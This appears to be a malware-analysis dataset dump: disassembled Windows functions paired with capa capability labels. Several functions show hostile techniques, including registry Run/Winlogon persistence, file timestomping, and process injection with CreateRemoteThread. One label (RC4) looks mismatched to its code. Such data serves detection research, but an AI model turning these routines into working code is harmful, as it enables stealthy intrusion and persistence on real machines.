joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f3f0
Capabilities:
Get user security identifier
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc44
mov eax, dword [0x441064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, dword [ebp + 0xc]
push 0x410
mov dword [ebp - 0xc40], eax
lea eax, [ebp - 0x414]
push ebx
push eax
mov dword [ebp - 0xc3c], ebx
mov dword [ebp - 0xc38], ebx
call fcn.00412cd0
push esi
push edi
push 0x42fe28
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00409270
lea eax, [ebp - 0x414]
push eax
push 0x42fe34
lea eax, [ebp - 0xc34]
push 0x410
push eax
call fcn.00409270
add esp, 0x30
lea eax, [ebp - 0xc44]
push eax
lea eax, [ebp - 0xc38]
push eax
push ebx
lea eax, [ebp - 0xc3c]
push eax
push ebx
lea eax, [ebp - 0x414]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov eax, dword [ebp - 0xc3c]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x40f4b2
push eax
push 8
call esi
push eax
call edi
mov ebx, eax
mov ecx, dword [ebp - 0xc38]
test ecx, ecx
je 0x40f4ca
add ecx, ecx
push ecx
push 8
call esi
push eax
call edi
mov edi, eax
jmp 0x40f4cc
xor edi, edi
test ebx, ebx
je 0x40f55a
lea eax, [ebp - 0xc44]
push eax
lea eax, [ebp - 0xc38]
push eax
push edi
lea eax, [ebp - 0xc3c]
push eax
push ebx
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x40f51c
push dword [ebp - 0xc40]
push ebx
call sub.ADVAPI32.dll_ConvertSidToStringSidW
test eax, eax
jne 0x40f54a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x42fbb8
jmp 0x40f528
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x42fe78
lea eax, [ebp - 0xc34]
push 0x410
push eax
call fcn.00409270
add esp, 0x10
lea eax, [ebp - 0xc34]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call eax
push ebx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
jmp 0x40f560
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x40f56c
push edi
push 0
call esi
push eax
call ebx
mov ebx, dword [ebp - 0xc40]
lea eax, [ebp - 0xc34]
push dword [ebx]
push 0x42fedc
push 0x410
push eax
call fcn.00409270
add esp, 0x10
lea eax, [ebp - 0xc34]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor eax, eax
cmp dword [ebx], eax
pop edi
setne al
xor ecx, ebp
pop esi
pop ebx
call fcn.00410b68
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x10], 0xff0ff
mov dword [ebp - 8], 0x104
mov dword [ebp - 0xc], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4010ce
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push 0x408170
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x104
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
push 0
lea eax, [ebp - 0x114]
push eax
mov byte [ebp - 0x111], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 0x10]
push ecx
push 0x4081a8
lea edx, [ebp - 0x114]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push 0x4628d8
lea ecx, [ebp - 0xc]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x4628d8
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 4]
push edx
push 0x20119
push 0
push 0x4081ac
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push 0x4628d8
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x4081dc
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x4628d8
mov esp, ebp
pop ebp
ret

Function at 0x401120
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
xor edi, edi
cmp eax, edi
je 0x40118e
cmp dword [ebp + 8], edi
je 0x40118e
cmp ebx, edi
je 0x40118e
push esi
push edi
push 0x80
push 2
push edi
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401185
mov ecx, dword [ebp + 8]
push edi
lea eax, [ebp + 0xc]
push eax
push ebx
push ecx
push esi
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40117e
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x40117e
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x4011a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
test eax, eax
je 0x401284
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
je 0x401284
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40127d
cmp dword [ebp + 0xc], esi
je 0x4011fe
inc ebx
xor esi, esi
test ebx, ebx
je 0x40122f
lea edi, [ebx + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40122c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [ebp - 4]
mov dword [ebp + 0xc], esi
test esi, esi
je 0x40127a
push 0
lea ecx, [ebp - 4]
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40127a
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401273
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp + 0xc], 0
mov esi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x4012a5
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x4012a7
mov dword [edi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4015b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push esi
push 0x40
lea eax, [ebp - 0x58]
push 0
push eax
mov dword [ebp - 0x5c], 0
call sub.MSVCRT.dll_memset
xor eax, eax
push 0x103
push eax
lea ecx, [ebp - 0x163]
push ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], al
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40165d
mov ecx, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [ebp - 0x14]
push edx
call esi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4018b0
Capabilities:
Access pe header
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x4019b5
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.004011a0
mov edi, eax
test edi, edi
je 0x4019b5
push edi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401993
rdtsc
xor dword [0x451d30], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x451d30], eax
push 0x40af58
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40192b
push 0x40af64
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40192b
push 0x451d30
call eax
mov ecx, dword [0x451d30]
xor edx, edx
or esi, 0xffffffff
mov eax, ecx
div esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov eax, dword [ebp - 4]
mov ebx, eax
test eax, eax
je 0x401993
mov edx, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401993
push 0
lea eax, [ebp + 8]
push eax
push ebx
push edi
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40198c
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4019b5
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401a30
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401ab0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401ab0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402090
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [0x40d114]
push 0x40b200
lea ebx, [ebx + 0x40d0d8]
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402212
push esi
push edi
push 0x40b200
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [ebx + 0x50]
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
add eax, 0x44a00
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x402210
xor ecx, ecx
mov dword [ebx + 0x58], 0x44a00
mov word [0x40d0d8], cx
mov eax, dword [ebx + 0x54]
lea edx, [ebp - 4]
push edx
push eax
push 0x40d0d8
push esi
push edi
mov dword [ebx], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [ebx + 0x14]
xor edx, edx
lea eax, [ecx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp dx, word [ebx + 6]
jae 0x40219e
lea esi, [eax + 8]
mov edi, edi
mov eax, dword [esi]
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x402186
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
push ecx
add edx, 0x40d0d8
push edx
push edi
call sub.MSVCRT.dll_memcpy
mov ecx, dword [esi]
mov edx, dword [esi + 4]
add edx, dword [ebp - 0xc]
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x402130
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebx + 0x50]
lea edx, [ebp - 4]
push edx
push 0x44a00
push 0x40d0d8
add eax, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebx + 0x28]
push 0
push 0
add ecx, esi
push edi
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 4]
push 0
push 0
push 0
push edx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4021f5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push 0
push 0
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402220
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
test edi, edi
je 0x4022d6
lea ecx, [ebp - 0x130]
push ecx
push edi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4022cf
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov eax, 0x40b21c
jne 0x40228c
mov eax, 0x40b22c
push eax
lea edx, [ebp - 0x10c]
push edx
call esi
test eax, eax
jne 0x4022a8
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x402278
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4022cf
push esi
call fcn.00402090
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4022e0
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x408170
push 0x80000002
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x4023b1
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0x109], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 8]
push ecx
push 0x4081a8
lea edx, [ebp - 0x10c]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, esi
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402377
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0x102
push 0
push 0
push 0
push 0x4081ac
push 0x80000001
call edi
test eax, eax
jne 0x402416
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023e0
sub eax, edx
lea edx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push edx
push esi
push 1
push 0
push 0x4081dc
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4026a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.004027c0
test eax, eax
je 0x4026d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401d00
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call esi
test eax, eax
jne 0x4026f4
call fcn.00401ac0
test eax, eax
je 0x4026f4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call esi
push 0x408160
mov edi, eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
je 0x402731
push 0x40af70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402731
lea ecx, [esp + 0xc]
push ecx
call ebx
push eax
call esi
cmp dword [esp + 0xc], 0
je 0x402777
test edi, edi
je 0x402750
push str._apppatch_
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x40276b
lea esi, [esp + 0x10]
call fcn.004022e0
call ebx
push eax
call fcn.00402090
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4027ae
call fcn.00402420
call fcn.00401f70
jmp 0x4027ae
test edi, edi
je 0x4027a0
push str._apppatch_
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x4027a0
call fcn.00402420
call fcn.00402220
call fcn.00401f70
jmp 0x4027ae
lea esi, [esp + 0x10]
call fcn.004022e0
call fcn.00402220
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405747
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
mov dword [ebp - 8], edi
cmp eax, ecx
jb 0x4057d6
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
sub eax, 2
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x405794
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
sub eax, 2
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x4057b7
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x4058ed
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
cmp ecx, edx
jbe 0x4057fe
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x405808
xor eax, eax
jmp 0x405840
sub ecx, dword [ebp - 4]
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
cmp dword [ecx + 0x18], 1
jne 0x40582a
push dword [ebp - 4]
mov ecx, dword [edi]
mov eax, dword [edi + 0x30]
call fcn.004074ed
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
push dword [edi]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edx, dword [esi + 0x74]
cmp edx, 3
jb 0x405868
mov edi, dword [esi + 0x6c]
add edi, dword [esi + 0x38]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edi]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edi + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edx, 0x106
jae 0x40587c
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x405752
mov ecx, dword [esi + 0x16c0]
mov eax, dword [esi + 0x3c]
cmp ecx, eax
jae 0x4058ed
mov edi, dword [esi + 0x6c]
add edi, edx
cmp ecx, edi
jae 0x4058bc
sub eax, edi
mov ebx, eax
mov eax, 0x102
cmp ebx, eax
jbe 0x4058a1
mov ebx, eax
mov eax, dword [esi + 0x38]
push ebx
add eax, edi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
add ebx, edi
mov dword [esi + 0x16c0], ebx
jmp 0x4058ed
lea edx, [edi + 0x102]
cmp ecx, edx
jae 0x4058ed
sub edi, ecx
add edi, 0x102
sub eax, ecx
cmp edi, eax
jbe 0x4058d6
mov edi, eax
mov eax, dword [esi + 0x38]
push edi
add eax, ecx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
add dword [esi + 0x16c0], edi
pop edi
pop ebx
leave
ret
Function at 0x4063bf
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
lea edi, [ebp - 0x54]
push 0x15
pop ecx
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x43f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 5], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x28], 0x10
mov esi, esp
push 0xf0000040
push 1
push 0
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
cmp esi, esp
call fcn.00411cf8
test eax, eax
je 0x4064b6
mov esi, esp
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
cmp esi, esp
call fcn.00411cf8
test eax, eax
je 0x4064b6
cmp dword [ebp - 0x1c], 0
je 0x4064b6
mov esi, esp
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp esi, esp
call fcn.00411cf8
test eax, eax
je 0x4064b6
mov esi, esp
push 0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x40]
push eax
push 2
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp esi, esp
call fcn.00411cf8
test eax, eax
je 0x4064b6
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405e01
add esp, 0x10
movzx eax, al
test eax, eax
je 0x4064b6
push dword [ebp + 0x10]
lea eax, [ebp - 0x50]
push eax
call fcn.004069d3
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x4064b6
mov byte [ebp - 5], 1
cmp dword [ebp - 0x1c], 0
je 0x4064ce
mov esi, esp
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp esi, esp
call fcn.00411cf8
cmp dword [ebp - 0x10], 0
je 0x4064e8
mov esi, esp
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp esi, esp
call fcn.00411cf8
mov al, byte [ebp - 5]
push edx
mov ecx, ebp
push eax
lea edx, [0x406517]
call fcn.00411ca2
pop eax
pop edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411d30
add esp, 0x54
cmp ebp, esp
call fcn.00411cf8
leave
ret